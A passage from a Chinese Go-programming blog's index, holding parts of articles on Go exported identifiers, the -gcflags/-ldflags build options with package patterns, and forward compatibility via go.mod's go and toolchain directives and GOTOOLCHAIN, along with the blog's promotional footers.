!reflectlite.TypeOf(key).Comparable() { panic(\u0026#34;key is not comparable\u0026#34;) } return \u0026amp;valueCtx{parent, key, val} } // A valueCtx carries a key-value pair. It implements Value for that key and // delegates all other calls to the embedded Context. type valueCtx struct { Context key, val any } func (c *valueCtx) Value(key any) any { if c.key == key { return c.val } return value(c.Context, key) } 这么做的目的是什么呢？大约有如下几点：\n隐藏实现细节 非导出类型的主要作用是防止外部直接使用和依赖其内部实现细节。通过限制类型的直接使用，库作者可以保持实现的灵活性，随时调整或重构类型的内部逻辑，而无需担心破坏外部调用代码； 还可以避免暴露多余的API，使库的接口更加简洁。\n控制实例的创建和管理 通过非导出类型，开发者还可以确保外部代码无法直接实例化类型，而必须通过导出的构造函数或工厂函数，就像前面举的示例那样。这种模式可以保证对象始终以特定的方式初始化，避免错误使用。同时，它还可以用来实现更复杂的初始化逻辑，如依赖注入或资源管理。\n在接口实现中的作用 非导出类型可以用来实现导出的接口，从而将接口的实现细节完全隐藏。对于用户来说，只需要关心接口的定义，而无需关注其实现。\n小结 本文探讨了Go语言中的导出标识符及其相关细节，特别是非导出类型如何与其导出字段和导出方法结合使用。\n尽管某些类型是非导出的，其内部的导出字段和方法依然可以在包外访问。此外，非导出类型在实现接口、嵌入字段和泛型中也展现出良好的应用。这种设计不仅促进了封装和接口实现的灵活性，还允许开发者通过构造函数返回非导出类型的实例，从而有效控制实例的创建与管理。这种方式帮助隐藏实现细节，简化外部接口，使得代码结构更加清晰。\n本文涉及的源码可以在这里下载。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾\n。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/01/23/the-hidden-details-of-go-exported-identifiers/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-hidden-details-of-go-exported-identifiers-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/01/23/the-hidden-details-of-go-exported-identifiers\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/01/23/the-hidden-details-of-go-exported-identifiers\"\u003ehttps://tonybai.com/2025/01/23/the-hidden-details-of-go-exported-identifiers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e前不久，在“Go+用户组”微信群里看到有开发者向七牛云老板许式伟反馈\u003ca href=\"https://github.com/qiniu/go-sdk/blob/bb391c9d9ea2c115494df5c38d058cb3b673a29f/qvs/record.go#L41\"\u003e七牛云Go SDK中的某些类型没有导出，导致外部包无法使用的问题(如下图)\u003c/a\u003e：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-hidden-details-of-go-exported-identifiers-2.png\"\u003e\u003c/p\u003e","title":"Go导出标识符：那些鲜为人知的细节"},{"content":"探索Go gcflags的使用模式与完整参数选项列表 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n探索Go gcflags的使用模式与完整参数选项列表 一月 22, 2025 2 条评论 本文永久链接 – https://tonybai.com/2025/01/22/gcflags-options-list-and-usage\nGo build是Go开发中不可或缺的构建工具，其中-gcflags参数为开发者提供了向编译器传递额外选项的能力。然而，关于-gcflags的完整参数选项和使用模式，官方文档多有局限，很多开发者对此了解不深。本文将系统性地解析-gcflags的完整参数来源以及其结合包模式（package pattern）的使用方法，供大家参考。\n注：本文主要以-gcflags为例，其实go build的-ldflags参数与-gcflags在使用方法上如出一辙，唯一不同的是ldflags是将参数传递给go链接器。\ngcflags是Go构建工具的一个标志，用于向Go编译器 (go tool compile) 传递额外的编译参数。通过它，开发者可以调整编译行为，例如禁用优化、生成调试信息或输出反汇编代码等。\nGo build文档中关于-gcflags的说明很短小精悍：\n$go help build ... ... -gcflags \u0026#39;[pattern=]arg list\u0026#39; arguments to pass on each go tool compile invocation. -ldflags \u0026#39;[pattern=]arg list\u0026#39; arguments to pass on each go tool link invocation. ... ... The -asmflags, -gccgoflags, -gcflags, and -ldflags flags accept a space-separated list of arguments to pass to an underlying tool during the build. To embed spaces in an element in the list, surround it with either single or double quotes. The argument list may be preceded by a package pattern and an equal sign, which restricts the use of that argument list to the building of packages matching that pattern (see \u0026#39;go help packages\u0026#39; for a description of package patterns). Without a pattern, the argument list applies only to the packages named on the command line. The flags may be repeated with different patterns in order to specify different arguments for different sets of packages. If a package matches patterns given in multiple flags, the latest match on the command line wins. For example, \u0026#39;go build -gcflags=-S fmt\u0026#39; prints the disassembly only for package fmt, while \u0026#39;go build -gcflags=all=-S fmt\u0026#39; prints the disassembly for fmt and all its dependencies. ... ... 多数Go初学者初次看到上述关于gcflags的说明，都无法知道到底有哪些arg可用以及究竟如何使用gcflags，而Go cmd文档中关于gcflags的内容也仅限于上述这些。\n我将大家遇到的主要问题总结为下面两条：\ngcflags的完整参数选项列表在哪里可以找到？ gcflags的使用模式，尤其是其中的package pattern应该如何正确使用？ 如果你能正确回答上述两个问题，那你就基本掌握了gcflags的使用，大可不必继续往下看了。\n否则，我们就一起分别看一下这两个问题该如何解答。\n在哪里能查找到gcflags可用的全部参数选项呢？go help build不行，go command的web文档中没有！甚至Go tool compile的web文档中列举的gcflag的参数列表也是不全的(或者说是文档没有及时同步最新的参数列表变化)，也许我们应该提一个issue给Go团队^_^。\n远在天边近在眼前！下面命令可以让-gcflag可用的参数选项完整列表尽收眼底：\n$go tool compile -h usage: compile [options] file.go... -% debug non-static initializers -+ compiling runtime -B disable bounds checking -C disable printing of columns in error messages -D path set relative path for local imports -E debug symbol export -I directory add directory to import search path -K debug missing line numbers -L also show actual source file names in error messages for positions affected by //line directives -N disable optimizations -S print assembly listing -V print version and exit -W debug parse tree after type checking -asan build code compatible with C/C++ address sanitizer -asmhdr file write assembly header to file ... ... 同样，如果你要查看-ldflags的完整参数选项列表，你可以使用下面命令：\n$go tool link -h usage: link [options] main.o -B note add an ELF NT_GNU_BUILD_ID note when using ELF; use \u0026#34;gobuildid\u0026#34; to generate it from the Go build ID -E entry set entry symbol name -H type set header type -I linker use linker as ELF dynamic linker -L directory add specified directory to library path -R quantum set address rounding quantum (default -1) -T int set the start address of text symbols (default -1) -V print version and exit -X definition add string value definition of the form importpath.name=value -a no-op (deprecated) -asan enable ASan interface ... ... 到这里，我们得到了第一个问题的答案。\n接下来，我们再来看第二个问题：-gcflags的使用模式。\n根据go help build的输出，我们知道-gcflags的使用形式如下：\n-gcflags \u0026#39;[pattern=]arg list\u0026#39; 其中：\n[pattern=]（可选）：包模式(package pattern)，用于作用范围控制，即限定参数仅应用于特定的包。如果省略此部分，则参数仅适用于命令行中指定的包。 arg list：参数选项列表，多个参数以空格分隔。 对包模式有很好地理解并非是使用好gcflags的必要条件。但在一些复杂项目中，我们可能会通过包模式精确控制调试和优化，在这种情况下，对包模式有深入理解还是大有裨益的。\n包模式是一种通过匹配规则指定目标包的方式，常见的包模式有几下几种：\n./…：匹配当前目录及其所有子目录中的包。 /DIR/…：匹配/DIR及其子目录中的包。 cmd/…：匹配Go仓库中cmd目录下的所有命令包。 github.com/user/repo/…：匹配该github仓库中的所有包。 all：GOPATH模式下，匹配的是所有GOPATH路径中的包，Go module模式下，all匹配主模块及其所有依赖的包（包括测试依赖）。 std：仅匹配标准库包。 cmd：匹配Go仓库中的Go命令及其内部包(internal)。 基于上述关于gcflags使用形式以及包模式的说明，我们举几个示例来直观理解一下gcflags的用法：\n对单个包设置参数 $go build -gcflags=-S fmt 上述命令中的参数-S仅作用于fmt包，显示其反汇编代码。\n对特定模式(比如all/std等)的包设置参数 $go build -gcflags=\u0026#39;all=-N -l\u0026#39; 在Go module模式下，参数-N和-l应用于当前主模块所有包及其依赖，禁用优化和内联。\n对不同包模式设置不同参数 $go build -gcflags=\u0026#39;fmt=-S\u0026#39; -gcflags=\u0026#39;net/http=-N\u0026#39; Go build命令行中可以多次使用-gcflags，上述命令中的第一个gcflags对fmt包启用反汇编输出(-S)。第二个gcflags对net/http包禁用优化(-N)。\n模式的优先级 $go build -gcflags=\u0026#39;all=-N\u0026#39; -gcflags=\u0026#39;fmt=-S\u0026#39; 像上面命令中，两个gcflags都匹配了fmt包，或者说两个gcflags的作用范围都包含了fmt包，这种情况下哪些参数会对fmt包生效呢？Go规定：当一个包匹配多个模式时，以最后一个匹配的参数为准。在这个例子中，fmt包将只应用-S参数，而其他包应用-N参数。\n到这里，我们完成了对两个关于gcflags问题的回答!\n最后小结一下：\ngcflags(以及-ldflags)是Go构建工具中的重要选项，能极大提升调试和优化效率。 gcflags的完整的参数选项需通过底层工具获取，即go tool compile -h和go tool link -h。 对包模式的灵活使用能够精确控制gcflags参数的作用范围，为复杂项目提供了更大的自由度。 通过本篇文章，希望你能掌握查看gcflags完整参数列表的方法以及gcflags的使用模式，并在构建和调试Go项目时能更加得心应手。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾\n。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/01/22/gcflags-options-list-and-usage/","summary":"\u003cp\u003e探索Go gcflags的使用模式与完整参数选项列表 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"探索Go gcflags的使用模式与完整参数选项列表"},{"content":"\n本文永久链接 – https://tonybai.com/2025/01/14/understand-go-and-toolchain-in-go-dot-mod\nGo语言自诞生以来，就一直将向后兼容性作为其核心理念之一。Go1兼容性承诺确保了为Go1.0编写的代码能够在后续的Go1.x版本中持续正确地编译和运行。这一承诺为Go的成功奠定了坚实的基础，它不仅保障了稳定性，也大大减轻了随着语言演进带来的代码维护负担。然而，兼容性的内涵并不仅限于向后兼容。向前兼容性，即旧版本的工具链能够优雅地处理针对新版本编写的代码，对于打造流畅的开发体验同样至关重要。\n在Go 1.21版本之前，向前兼容性在某种程度上是一个被忽视的领域。尽管go.mod文件中的go指令可以标明模块预期的Go版本，但在实际中，它更像是一个指导性建议，而非强制性规则。旧版本的Go工具链会尝试编译那些需要较新版本的代码，这经常导致令人困惑的错误，更有甚者会出现“静默成功”的情况——代码虽然可以编译，但由于较新版本中的细微改动，其运行时行为可能并不正确。\nGo 1.21的发布标志着这一现状的重大转变。该版本引入了健壮且自动化的工具链管理机制，将go指令转变为一项强制性要求，并简化了使用不同Go版本进行开发的工作流程。即将发布的Go 1.24版本在此基础上进一步增强，引入了tool指令，允许开发者指定对外部工具及其特定版本的依赖，从而进一步提升了代码的可重复性和项目的可维护性。\n这些改进进一步明确和巩固了go命令作为全方位依赖管理器的角色定位，它不仅管理外部模块，还负责管理Go工具链版本，以及越来越多的外部开发工具（如下图）：\n不过向前兼容性规则的明确以及toolchain指令的引入也给Go开发者带来一定的理解上的复杂性，并且在使用Go 1.21版本之后，我们可能遇到会遇到一些因Go工具链版本选择而导致的编译问题。\n本文将通过一系列典型场景和详细的示例，帮助读者全面理解Go向前兼容性的规则，以及go指令以及toolchain指令对Go工具链选择的细节，从而让大家能更加自信地驾驭Go开发中不断演进的技术环境。\n接下来，我们就从对向前兼容性的理解开始！\n理解向前兼容性 向前兼容性，在编程语言的语境中，指的是旧版本的编译器或运行时环境能够处理针对该语言的新版本编写的代码。它与向后兼容性相对，后者确保的是新版本的语言能够处理为旧版本编写的代码。向后兼容性对于维护现有代码库至关重要，而向前兼容性则是在使用不断演进的语言和依赖项时获得流畅开发体验的关键所在。\n向前兼容性的挑战源于新语言版本通常会引入新的特性、语法变更或对标准库的修改。如果旧的工具链遇到了依赖于这些新元素的代码，它可能无法正确地编译或解释这些代码。理想情况下，工具链应该能够识别出代码需要一个更新的版本，并提供清晰的错误提示，从而阻止编译或执行。\n在Go 1.21之前的版本中，向前兼容性并没有得到严格的保证。让我们来看一个例子。我们用Go 1.18泛型语法编写一个泛型函数Print：\n// toolchain-directive/demo1/mymodule.go package mymodule func Print[T any](s T) { println(s) } // toolchain-directive/demo1/go.mod module mymodule go 1.18 如果你尝试使用Go 1.17版本来构建这个模块，你将会遇到类似以下的错误：\n$go version go version go1.17 darwin/amd64 $go build # mymodule ./mymodule.go:3:6: missing function body ./mymodule.go:3:11: syntax error: unexpected [, expecting ( note: module requires Go 1.18 这些错误信息具有一定的误导性，它们指向的是语法错误，而不是问题的本质：这段代码使用了Go 1.18版本中才引入的泛型特性。虽然go命令确实打印了一条有用的提示(note: module requires Go 1.18)，但对于规模大一些的项目来说，在满屏的编译错误中，这条提示很容易被忽略。\n而比上面这个示例更隐蔽的问题是所谓的“静默成功”。\n设想这样一个场景：Go标准库中的某个bug在Go 1.19版本中被修复了。你编写了一段代码，并在不知情的情况下依赖于这个bug修复。如果你没有使用任何Go 1.19版本特有的语言特性，并且你的go.mod文件中指定的是go 1.19，那么旧版本的Go 1.18工具链将会毫无怨言地编译你的代码并获得成功。然而，在运行这段代码时，你的程序可能会表现出不正确的行为，因为那个bug在Go 1.18的标准库中依然存在。这就是“静默成功”——编译过程没有任何错误提示，但最终生成的程序却是有缺陷的。\n在Go 1.21版本之前，go.mod文件中的go指令更多的是一种指导性意见。它表明了期望使用的Go版本，但旧的工具链并不会严格执行它。这种执行上的疏漏是导致Go开发者面临向前兼容性挑战的主要原因。\nGo 1.21版本从根本上改变了go指令的处理方式。它不再是一个可有可无的建议，而是一个强制性的规则。下面我们就来看看Go 1.21及更高版本中是如何确保向前兼容性的。由于多数情况下，我们不会显式在go.mod显式指定toolchain指令，因此，我们先来看看没有显式指定toolchain指令时，go指令对向前兼容性的影响。\n作为规则的go指令：确保向前兼容性（Go 1.21及更高版本） Go 1.21对Go version、language version、release version等做了更明确的定义，我们先来看一下，这对后续理解go.mod文件中go指令的作用很有帮助。下图形象的展示了各个version之间的关系：\nGo版本(Go Version)，也是发布版本(Release Version)使用1.N.P的版本号形式，其中1.N称为语言版本(language version)，表示实现该版本Go语言和标准库的Go版本的整体系列。1.N.P是1.N语言版本的一个实现，初始实现是1.N.0，也是1.N的第一次发布！后续的1.N.P成为1.N的补丁发布。\n任何两个Go版本(Go version)都可以进行比较，以判断一个是小于、大于还是等于另一个。\n如果语言版本不同，则语言版本的比较结果决定Go版本的大小。比如：1.21.9 vs. 1.22，前者的语言版本是1.21，后者语言版本是1.22，因此1.21.9 \u0026lt; 1.22。\n如果语言版本相同，从小到大的排序为：语言版本本身、按R排序的候选版本(1.NrcR)，然后按P排序的发布版本，例如：\n1.21 \u0026lt; 1.21rc1 \u0026lt; 1.21rc2 \u0026lt; 1.21.0 \u0026lt; 1.21.1 \u0026lt; 1.21.2。 在Go 1.21之前，Go初始发布版本为1.N，而不是1.N.0，因此对于N \u0026lt; 21，排序被调整为将1.N放在候选版本(rc)之后，例如：\n1.20rc1 \u0026lt; 1.20rc2 \u0026lt; 1.20rc3 \u0026lt; 1.20 \u0026lt; 1.20.1。 更早期版本的Go有beta发布，例如1.18beta2。Beta发布在版本排序中被放置在候选版本之前，例如：\n1.18beta1 \u0026lt; 1.18beta2 \u0026lt; 1.18rc1 \u0026lt; 1.18 \u0026lt; 1.18.1。 有了上述对Go version等的理解，我们再来看看go.mod中go指令在向前兼容性规则中的作用。\nGo 1.21及更高版本中，go.mod文件中的go指令声明了使用模块或工作空间(workspace)所需的最低Go版本。出于兼容性原因，如果go.mod文件中省略了go指令行(通常我们都不这么做)，则该模块被视为隐式使用go 1.16这个指令行；如果go.work文件中省略了go指令行，则该工作空间被视为隐式使用go 1.18这个指令行。\n那么，Go 1.21及更高版本的Go工具链在遇到go.mod中go指令行中的Go版本高于自身时会怎么做呢？下面我们通过四个场景的示例来看一下。\n场景一 当前本地工具链go 1.22.0，go.mod中go指令行为go 1.23.0：\n// toolchain-directive/demo2/scene1/go.mod module scene1 go 1.23.0 执行构建：\n$go build go: downloading go1.23.0 (darwin/amd64) ... ... Go自动下载当前go module中go指令行中的Go工具链版本并对当前module进行构建。\n场景二 当前本地工具链go 1.22.0，go.mod中go指令行为go 1.22.0，但当前module依赖的github.com/bigwhite/a的go.mod中go指令行为go 1.23.1：\n// toolchain-directive/demo2/scene2/go.mod module scene2 go 1.22.0 require ( github.com/bigwhite/a v1.0.0 ) replace github.com/bigwhite/a =\u0026gt; ../a 执行构建：\n$go build go: module ../a requires go \u0026gt;= 1.23.1 (running go 1.22.0) Go发现当前go module依赖的go module中go指令行中的Go版本比当前module的更新，则会输出错误提示！\n场景三 当前本地工具链go 1.22.0，go.mod中go指令行为go 1.22.0，但当前module依赖的github.com/bigwhite/a的go.mod中go指令行为go 1.23.1，而依赖的github.com/bigwhite/b的go.mod中go指令行为go 1.23.2：\n// toolchain-directive/demo2/scene3/go.mod module scene3 go 1.22.0 require ( github.com/bigwhite/a v1.0.0 github.com/bigwhite/b v1.0.0 ) replace github.com/bigwhite/a =\u0026gt; ../a replace github.com/bigwhite/b =\u0026gt; ../b 执行构建：\n$go build go: module ../b requires go \u0026gt;= 1.23.2 (running go 1.22.0) Go发现当前go module依赖的go module中go指令行中的Go版本比当前module的更新，则会输出错误提示！并且选择了满足依赖构建的最小的Go工具链版本。\n场景四 当前本地工具链go 1.22.0，go.mod中go指令行为go 1.23.0，但当前module依赖的github.com/bigwhite/a的go.mod中go指令行为go 1.23.1，而依赖的github.com/bigwhite/b的go.mod中go指令行为go 1.23.2：\n// toolchain-directive/demo2/scene4/go.mod module scene4 go 1.23.0 require ( github.com/bigwhite/a v1.0.0 github.com/bigwhite/b v1.0.0 ) replace github.com/bigwhite/a =\u0026gt; ../a replace github.com/bigwhite/b =\u0026gt; ../b 执行构建：\n$go build go: downloading go1.23.0 (darwin/amd64) ... .. Go发现当前go module依赖的go module中go指令行中的Go版本与当前module的兼容，但比本地Go工具链版本更新，则会下载当前go module中go指令行中的Go版本进行构建。\n从以上场景的执行情况来看，只有选择了当前go module的工具链版本时，才会继续构建下去，如果本地找不到这个版本的工具链，go会自动下载该版本工具链再进行编译(前提是GOTOOLCHAIN=auto)。如果像场景2和场景3那样，依赖的module的最低Go version大于当前module的go version，那么Go会提示错误并结束编译！后续你需要显式指定要使用的工具链才能继续编译！以场景3为例，通过GOTOOLCHAIN显式指定工具链，我们可以看到下面结果：\n// demo2/scene3 $GOTOOLCHAIN=go1.22.2 go build go: downloading go1.22.2 (darwin/amd64) ^C $GOTOOLCHAIN=go1.23.3 go build go: downloading go1.23.3 (darwin/amd64) .. ... 我们看到，go完全相信我们显式指定的工具链版本，即使是不满足依赖module的最低go版本要求的！\n想必大家已经感受到支持新向前兼容规则带来的复杂性了！这里我们还没有显式使用到toolchain指令行呢！但其实，在上述场景中，虽然我们没有在go.mod中显式使用toolchain指令行，但Go模块会使用隐式的toolchain指令行，其隐式的默认值为toolchain goV，其中V来自go指令行中的Go版本，比如go1.22.0等。\n接下来我们就简单地看看toolchain指令行，我们的宗旨是尽量让事情变简单，而不是变复杂！\ntoolchain指令行与GOTOOLCHAIN Go mod的参考手册告诉我们：toolchain指令仅在模块为主模块且默认工具链的版本低于建议的工具链版本时才有效，并建议：Go toolchain指令行中的go工具链版本不能低于在go指令行中声明的所需Go版本。\n也就是说如果对toolchain没有特殊需求，我们还是尽量隐式的使用toolchain，即保持toolchain与go指令行中的go版本一致。\n另外一个影响go工具链版本选择的是GOTOOLCHAIN环境变量，它的值决定了go命令的行为，特别是当go.mod文件中指定的Go版本（通过go或toolchain指令）与当前运行的go命令的版本不同时，GOTOOLCHAIN的作用就体现出来了。\nGOTOOLCHAIN可以设置为以下几种形式：\nlocal: 这是最简单的形式，它指示go命令始终使用其自带的捆绑工具链，不允许自动下载或切换到其他工具链版本。即使go.mod文件要求更高的版本，也不会切换。如果版本不满足，则会报错。\n\u0026lt;name\u0026gt; (例如go1.21.3): 这种形式指示go命令使用特定名称的Go工具链。如果系统中存在该名称的可执行文件（例如在PATH环境变量中找到了go1.21.3），则会执行该工具链。否则，go命令会尝试下载并使用名为\u0026lt;name\u0026gt;的工具链。如果下载失败或找不到，则会报错。\nauto(或local+auto): 这是默认设置。在这种模式下，go命令的行为最为智能。它首先检查当前使用的工具链版本是否满足go.mod文件中go和toolchain指令的要求。如果不满足，它会根据如下规则尝试切换工具链。\n- 如果go.mod中有toolchain行且指定的工具链名称比当前默认的工具链更新，则切换到toolchain行指定的工具链。 - 如果go.mod中没有有效的toolchain行（例如toolchain default或没有toolchain行），但go指令行指定的版本比当前默认的工具链更新，则切换到与go指令行版本相对应的工具链（例如go 1.23.1对应go1.23.1工具链）。 - 在切换时，go命令会优先在本地路径（PATH环境变量）中寻找工具链的可执行文件，如果找不到，则会下载并使用。 \u0026lt;name\u0026gt;+auto: 这种形式与auto类似，但它指定了一个默认的工具链\u0026lt;name\u0026gt;。go命令首先尝试使用\u0026lt;name\u0026gt;工具链。如果该工具链不满足go.mod文件中的要求，它会按照与auto模式相同的规则尝试切换到更新的工具链。这种方式可以用来设定一个高于内置版本的最低版本要求，同时又允许根据需要自动升级。\n\u0026lt;name\u0026gt;+path (或local+path): 这种形式与\u0026lt;name\u0026gt;+auto类似，也指定了一个默认的工具链\u0026lt;name\u0026gt;。不同之处在于，它禁用了自动下载功能。go命令首先尝试使用\u0026lt;name\u0026gt;工具链，如果不满足要求，它会在本地路径中搜索符合要求的工具链，但不会尝试下载。如果找不到合适的工具链，则会报错。\n大多数情况我们会使用GOTOOLCHAIN的默认值，即在auto模式下。但是如果在国内自动下载go版本不便的情况下，可以使用local模式，这样在本地工具链版本不满足的情况下，可以尽快得到错误。或是通过\u0026lt;name\u0026gt;强制指定使用特定版本的工具链，这样可以实现对组织内采用的工具链版本的精准控制，避免因工具链版本不一致而导致的问题。\n使用go get管理Go指令行和toolchain指令行 自go module诞生以来，我们始终可以使用go get对go module的依赖进行管理，包括添加/删除依赖，升降依赖版本等。\n就像本文开头的那个图中所示，go命令作为全方位依赖管理器的角色定位，它不仅管理外部模块，还负责管理Go工具链版本，以及越来越多的外部开发工具。因此我们也可以使用go get管理指令行和toolchain指令行。\n例如，go get go@1.22.1 toolchain@1.24rc1将改变主模块的go.mod文件，将go指令行改为go 1.22.1，将toolchain指令行改为toolchain go1.24rc1。我们要保证toolchain指令行中的版本始终等于或高于go指令行中的版本。\n当toolchain指令行与go指令行完全匹配时，可以省略和隐含，所以go get go@1.N.P时可能会删除toolchain行。\n反过来也是这样，当go get toolchain@1.N.P时，如果1.N.P \u0026lt; go指令行的版本，go指令行也会随之被降级为1.N.P，这样就和toolchain版本一致了，toolchain指令行可能会被删除。\n我们也可以通过下面go get命令显式删除toolchain指令行：\n$go get toolchain@none 通过go get管理Go指令行和toolchain指令行还会对require中依赖的go module版本产生影响，反之使用go get管理require中依赖的go module版本时，也会对Go指令行和toolchain指令行的版本产生影响！不过这一切都是通过go get自动完成的！下面我们通过示例来具体说明一下。\n我们首先通过示例看看go get管理go指令行对require中依赖的Go模块版本的影响。\n当你使用go get升级或降级go.mod文件中的go指令行时，go get 会根据新的Go版本要求，自动调整require指令行中依赖模块的版本，以满足新的兼容性要求。比如下面这个升级go版本导致依赖模块升级的示例。\n假设你的模块mymodule的go.mod文件内容如下：\nmodule example.com/mymodule go 1.21.0 require ( example.com/moduleA v1.1.0 // 兼容Go 1.21.0 example.com/moduleB v1.2.0 // 兼容Go 1.21.0 ) example.com/moduleA和example.com/moduleB的v1.1.0和v1.2.0版本都只兼容到Go 1.21.0。\n现在，你执行以下命令升级Go版本：\n$go get go@1.23.1 go get会将go.mod文件中的go指令行更新为go 1.23.1。同时，它会检查require指令行中的依赖模块，发现example.com/moduleA和example.com/moduleB的v1.1.0和v1.2.0版本可能不兼容Go1.23.1。\n假设example.com/moduleA和example.com/moduleB都有更新的版本v1.3.0，且兼容Go 1.23.1，那么go get会自动将require指令行更新为：\nmodule example.com/mymodule go 1.23.1 require ( example.com/moduleA v1.3.0 // 兼容Go 1.23.1 example.com/moduleB v1.3.0 // 兼容Go 1.23.1 ) 如果找不到兼容Go 1.23.1 的版本，go get可能会报错，提示无法找到兼容新Go版本的依赖模块。\n同理，降低go版本也可能触发require中依赖模块降级。我们来看下面示例：\n假设你的模块mymodule的go.mod文件内容如下：\nmodule example.com/mymodule go 1.23.1 require ( example.com/moduleA v1.3.0 // 兼容 Go 1.22.0及以上 example.com/moduleB v1.3.0 // 兼容 Go 1.22.0及以上 ) 现在，你执行以下命令降低go版本：\n$go get go@1.22.0 执行以上命令后，go.mod文件内容变为：\nmodule example.com/mymodule go 1.22.0 require ( example.com/moduleA v1.1.0 // 兼容Go 1.21.0及以上 example.com/moduleB v1.2.0 // 兼容Go 1.21.0及以上 ) 在这个例子中, go get go@1.22.0命令会将go指令行降级为go 1.22.0, 同时, go get会自动检查所有依赖项, 并尝试将它们降级到与go 1.22.0兼容的最高版本。在这个例子中, example.com/moduleA和example.com/moduleB都被降级到了与go 1.22.0兼容的最高版本。\n反过来，使用go get管理require中依赖的Go模块版本时，也会对go指令行产生影响，我们看一个添加依赖导致go指令行版本升级的示例。\n假设你的模块mymodule的go.mod文件内容如下：\nmodule example.com/mymodule go 1.21.0 require ( example.com/moduleA v1.1.0 // 兼容 Go 1.21.0 ) 现在，你需要添加一个新的依赖项example.com/moduleC，而example.com/moduleC的最新版本v1.2.0的go.mod文件中指定了go 1.22.0：\n// example.com/moduleC 的 go.mod module example.com/moduleC go 1.22.0 require ( ... ) 你执行以下命令添加依赖：\n$go get example.com/moduleC@v1.2.0 go get会发现example.com/moduleC的版本v1.2.0需要 Go 1.22.0，而你的模块当前只兼容Go 1.21.0。因此，go get会自动将你的模块的go.mod文件更新为：\nmodule example.com/mymodule go 1.22.0 require ( example.com/moduleA v1.1.0 // 兼容Go 1.21.0 example.com/moduleC v1.2.0 // 需要Go 1.22.0 ) go指令行被升级到了go 1.22.0，以满足新添加的依赖项的要求。\n不过无论如何双向影响，我们只要记住一个原则就够了，那就是go get和go mod tidy命令使go指令行中的Go版本始终保持大于或等于任何所需依赖模块的go指令行中的Go版本。\n小结 本文深入探讨了Go语言在版本管理和工具链兼容性方面的重要变革，特别是Go 1.21及以后的版本如何强化向前兼容性。在文章里，我强调了向后兼容性和向前兼容性在开发体验中的重要性，以及如何通过go指令和新引入的toolchain指令来管理工具链版本。\n通过文中的示例，我展示了如何在不同场景下处理Go模块的兼容性问题，并解释了GOTOOLCHAIN环境变量如何影响工具链选择。最后，我还举例说明了如何通过使用go get命令有效管理Go指令和依赖模块的版本，确保代码的可维护性和稳定性。\n不过我们也看到了，为了实现精确的向前兼容，Go引入了不少复杂的规则，短时间内记住这些规则还是有门槛的，我们只能在实践中慢慢吸收和理解。\n本文涉及的源码可以在这里下载。\n参考资料 Go Toolchains – https://go.dev/doc/toolchain Forward Compatibility and Toolchain Management in Go 1.21 – https://go.dev/blog/toolchain Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们\u0026gt;将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流\n和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾\n。让我相聚在Gopher部落，享受coding的快乐! 